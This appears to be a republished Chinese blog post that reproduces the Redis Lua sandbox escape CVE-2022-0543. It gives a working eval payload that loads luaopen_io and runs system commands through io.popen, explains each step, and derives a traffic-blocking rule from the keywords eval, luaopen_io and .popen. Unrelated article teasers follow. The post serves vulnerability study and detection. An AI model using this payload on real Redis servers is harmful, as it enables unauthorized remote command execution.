Redis沙盒逃逸漏洞(CVE-2022-0543)复现以及流量特征分析

news2024/10/7 20:35:21

Redis简介

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。

漏洞介绍

Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

影响版本

2.2 <= redis < 5.0.13

2.2 <= redis < 6.0.15

2.2 <= redis < 6.2.5

漏洞复现

复现条件: redis版本符合上述版本,并且可以成功登录redis,类似redis未授权访问

靶机开启redis服务
攻击机远程连接redis,执行payload

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

此处whoami为任意系统命令可更改
在这里插入图片描述

原理以及流量特征分析

因为Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package

攻击者可通过package中的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0中的函数luaopen_io,在Lua中执行这个导出函数,即可获得io库,再使用其执行命令。

即可编辑脚本内容为

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r");
local res = f:read("*a");
f:close();
return res

脚本内容解析为

1.通过loadlib函数加载动态连接库中的luaopen_io函数,并赋给io_l
2.执行io_l(),获取io库
3.通过io库中的popen来执行命令,并把执行结果返回赋给f
4.读取f中命令执行的结果内容
5.关闭f
6.将读取的结果内容返回

连接上redis后,通过eval函数来执行上述脚本,即为payload的构成

流量特征分析

通过wireshack抓包可看到,为tcp流量

在这里插入图片描述
并且数据包中含有漏洞payload的全部内容,这样拦截规则就很好编写了

1.eval:因为脚本内容必须通过eval来执行
2.luaopen_io:因为此攻击必须通过执行luaopen_io函数来获取io
3..popen:恶意命令必须通过io库中的popen函数来执行,为什么拦截规则不是io.popen,因为io仅是一个对象名称,是可自定义的

综合上述,拦截规则为

tcp流量中同时产生关键字evalluaopen_io.popen时进行拦截
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/195434.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android MVVM之CreationExtras创建ViewModel的详解与使用

一、介绍 CreationExtras是Android api在Androidx-Lifecycle 在近期迈入到了 2.5.0 版本中。很多人第一眼看到&#xff0c;不知道这是个什么&#xff0c;看到会觉得云里雾里&#xff0c;无从下手&#xff0c;也不知道到底该怎么做。这个和现有的ViewModel搭配使用。他不能单独使…

公链年度数据报告:2022年发生了什么,行业将走向何方?

Date&#xff1a;2023 年 1 月Data Source: Footprint Analytics - Chain overview这份年度链报告审视了过去一年 Footprint Analytics 上的数据&#xff0c;以分析各公链的关键趋势。在 2022 年&#xff0c;大多数加密货币头条新闻并不涉及链本身。虽然&#xff0c;像三箭、Bl…

SQLSERVER 的四个事务隔离级别到底怎么理解?

一&#xff1a;背景 1. 讲故事 在有关SQLSERVER的各种参考资料中&#xff0c;经常会看到如下四种事务隔离级别。 READ UNCOMMITTEDREAD COMMITTEDSERIALIZABLEREPEATABLE READ 随之而来的是大量的文字解释&#xff0c;还会附带各种 脏读, 幻读, 不可重复读 常常会把初学者弄…

【微信小程序学习第3天——网络数据请求

一、小程序网络请求限制 1、必须https类型的接口 2、必须将接口的域名添加到信任列表中 二、配置request合法域名 配置步骤&#xff1a;登录微信小程序管理后台 -> 开发 -> 开发设置 -> 服务器域名 -> 修改 request 合法域名 点击修改request合法域名&#xf…

全流程搞清楚 Kubernetes API 的使用,可进行业务二次开发对接 k8s 调用,详细图文说明以及常见问题整理

全流程搞清楚 Kubernetes API 的使用&#xff0c;可进行业务二次开发对接 k8s 调用&#xff0c;详细图文说明以及常见问题整理。 使用CLI&#xff08;如curl&#xff09;或GUI&#xff08;如postman&#xff09;HTTP客户端调用Kubernetes API有很多理由。例如&#xff0c;你可…

windows11改老版右键显示

右键显示效果&#xff1a;点击右键像windows10一样。方式一使用window的命令行操作&#xff1a;reg.exe add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve1方式二使用注册表手动操作&#xff1a;win r&#xff1a;…

对话面试官:MySQL自增主键id快用完了怎么办?

前几天有个朋友出去面试&#xff0c;被面试官问到MySQL自增主键id用完了怎么办&#xff1f;由于对这块了解不多&#xff0c;所以回答得不太理想。 本篇文章为大家分享一下&#xff0c;MySQL自增主键达到上限以后会发生什么情况&#xff1f;该如何解决这种情况&#xff1f; 我们…

Python|每日一练|幂函数算法|位运算|>>右移|分析神器pysnooper|日志输出:Pow(x, n)

Pow(x, n) 实现 pow(x, n)(https://www.cplusplus.com/reference/valarray/pow/) &#xff0c;即计算 x 的 n 次幂函数&#xff08;即&#xff0c;xn&#xff09;。 示例 1&#xff1a; 输入&#xff1a;x 2.00000, n 10输出&#xff1a;1024.00000 示例 2&#xff1a; …

漫画 | 程序员这次被逼上了绝路!

经过不懈努力&#xff0c;张大胖终于在一个小公司升任经理。张大胖回去翻阅资料&#xff0c;思考了一番&#xff0c;召开会议宣布了一项重要决定。会议室中一阵窃窃私语三天以后&#xff0c;张大胖进行检查&#xff0c;看看自己的第一把火成效如何。张大胖表示很满意&#xff0…

Elasticsearch:轻松处理 CSV 数据

我们知道 CSV 是一种非常流行的数据格式。在 Elastic Stack 中&#xff0c;我们有很多的方式来摄入 CSV 格式的数据。我们可以先看看一个常用的数据摄入数据流&#xff1a; 如上所示&#xff0c;我们可以采取不同的方法来对数据进行摄入。我们可以在不同的地方对数据进行处理。…

【My Electronic Notes系列——逻辑门电路】

目录 序言&#xff1a; &#x1f3c6;&#x1f3c6;人生在世&#xff0c;成功并非易事&#xff0c;他需要破茧而出的决心&#xff0c;他需要永不放弃的信念&#xff0c;他需要水滴石穿的坚持&#xff0c;他需要自强不息的勇气&#xff0c;他需要无畏无惧的凛然。要想成功&…

Java打印流(PrintStream/PrintWriter)

概念 打印流是输出信息最方便的类&#xff0c;注意包含字节打印流PrintStream和字符打印流PrintWriter。打印流提供了非常方便的打印功能&#xff0c;可以打印任何类型的数据信息&#xff0c;例如&#xff1a;小数&#xff0c;整数&#xff0c;字符串。而且永远不会抛出IOExce…

DPDK开发之KNI模块代码实现

DPDK开发之KNI模块代码实现背景KNI实现原理 -- ifreq代码实现总结背景 在DPDK开发的时候&#xff0c;如果有些协议不想处理&#xff0c;只处理关注的协议&#xff0c;可以把其他协议写回内核&#xff0c;让内核处理。此时的DPDK就起到分发的作用&#xff0c;类似一个过滤器。 …

二叉树遍历的C语言实现

1、二叉树 树是n个节点的有限集 每个节点事多有两颗子树的树称为 二叉树 该实验目标实现以下二叉树&#xff1a; 2、二叉树的遍历方案 设&#xff1a; D -- 访问根节点&#xff0c;输出根节点; L -- 递归遍历左二叉树; R -- 递归遍历右二叉树; 二叉树遍历方案…

1145. 二叉树着色游戏

有两位极客玩家参与了一场「二叉树着色」的游戏。游戏中&#xff0c;给出二叉树的根节点 root&#xff0c;树上总共有 n 个节点&#xff0c;且 n 为奇数&#xff0c;其中每个节点上的值从 1 到 n 各不相同。 最开始时&#xff1a; 「一号」玩家从 [1, n] 中取一个值 x&#xff…

软件工程期末考试

软件工程一、简答题&#xff08;5个&#xff09;什么是软件危机&#xff1f;软件危机产生的原因是什么&#xff1f;怎样克服软件危机&#xff1f;你认为摆脱软件危机了吗&#xff1f;软件危机&#xff1a;是指在计算机软件开发、使用与维护过程中遇到的一系列严重问题和难题。它…

QT opencv 学习day01 安装opencv ,

1. 安装opencv 教程 看这个大佬的链接 &#xff08;实测有用&#xff09;&#xff08;操作简单&#xff09; 链接&#xff1a; (1条消息) 【OpenCV】windows Qt环境搭建_logani的博客-CSDN博客 2. 使用opencv 的注意事项 1.首先要在工程文件 .pro 文件里面 加入路径&#x…

Springboot+Echarts实现数据可视化项目

首先,得明白 springboot 需要写什么内容? 先理解下 MVC 模式! bean 层 也称之为 Dao 层 包括XxxMapper.java(数据库访问接口类),XxxMapper.xml(数据库链接实现);mapper 层 也称之为 model层,模型层,entity层,实体层 就是数据库表的映射实体类,存放POJO对象;servi…

Nginx反向代理与负载均衡

一.何为反向代理? 在介绍反向代理之前&#xff0c;先来了解一下正向代理。 正向代理&#xff1a;如果把局域网外的Internet想象成一个巨大的资源库&#xff0c;则局域网中的客户端要访问Internet&#xff0c;则需要通过代理服务器来访问&#xff0c;这种代理服务就称为正向代…

【前端利器炫酷的CodePen】

前言众所周知&#xff0c;前端是一个很容易将自己的劳动成果呈现出来的一个职位&#xff0c;无论是写1行代码还是写100行代码&#xff0c;都可以通过页面来进行呈现&#xff0c;在工作中的劳作成果也是可以一眼就呈现给客户、用户的。比如一些精美的页面&#xff0c;炫酷的特效…